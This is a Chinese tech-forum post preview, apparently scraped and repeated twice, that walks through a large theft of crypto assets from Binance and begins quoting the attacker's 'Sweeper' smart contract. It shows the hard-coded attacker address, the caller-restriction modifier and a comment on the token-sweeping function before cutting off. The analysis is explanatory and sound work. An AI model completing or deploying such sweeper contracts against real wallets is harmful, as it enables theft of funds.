主 题：币安被盗事件，链上行为复盘(加更版 上)
发 布 者：wangshibenben
标签分类： 技术
时 间：2026-10-31 11:42:51
内容预览：本帖仅做科普向，不推荐任何人参与挖矿/区块链交易等行为。昨天/前天 币安的事情相比大伙都刷到了吧，没刷到的没关系，就一句话: 全球最大的加密货币交易所币安发生链上资产被盗，累计被转移的损失高达63亿美元(后续虽然被追回冻结30亿)对于不了解交易所和加密货币的朋友，我可以做个比喻: 此次事件基本上等于现实世界中一家银行被人抢劫了一座金库此次攻击和以往不同的点是，攻击者并没有掌握币安受影响的钱包的私钥，但却能控制/转走其钱包名下的所有财产。OK，话不多说，我们先从攻击者部署的合约开始攻击者部署的合约在此: Sweeper简化一下，其实就是:contract Sweeper { // ============================== // ① 权限控制 // ============================== // 唯一允许调用的地址(攻击者的地址) address constant AUTHORIZED_CALLER = 0x7C8601d4645b93cea45F71e118A729332e6B5CA0; // 判断调用者是否为授权地址 modifier onlyAuthorized() { require( msg.sender == AUTHORIZED_CALLER, "Not authorized" ); _; } // ============================== // ② 核心资产清扫函数，传入两个参数: recipient: 攻击者接收钱包地址；tokens: 有价值的ERC20合约部署的地址 // ==============================
直达链接： https://www.nodeseek.com/post-1021440-1
发 布 者：wangshibenben
标签分类： 技术
时 间：2026-10-31 11:42:51
内容预览：本帖仅做科普向，不推荐任何人参与挖矿/区块链交易等行为。昨天/前天 币安的事情相比大伙都刷到了吧，没刷到的没关系，就一句话: 全球最大的加密货币交易所币安发生链上资产被盗，累计被转移的损失高达63亿美元(后续虽然被追回冻结30亿)对于不了解交易所和加密货币的朋友，我可以做个比喻: 此次事件基本上等于现实世界中一家银行被人抢劫了一座金库此次攻击和以往不同的点是，攻击者并没有掌握币安受影响的钱包的私钥，但却能控制/转走其钱包名下的所有财产。OK，话不多说，我们先从攻击者部署的合约开始攻击者部署的合约在此: Sweeper简化一下，其实就是:contract Sweeper { // ============================== // ① 权限控制 // ============================== // 唯一允许调用的地址(攻击者的地址) address constant AUTHORIZED_CALLER = 0x7C8601d4645b93cea45F71e118A729332e6B5CA0; // 判断调用者是否为授权地址 modifier onlyAuthorized() { require( msg.sender == AUTHORIZED_CALLER, "Not authorized" ); _; } // ============================== // ② 核心资产清扫函数，传入两个参数: recipient: 攻击者接收钱包地址；tokens: 有价值的ERC20合约部署的地址 // ==============================
直达链接： https://www.nodeseek.com/post-1021440-1
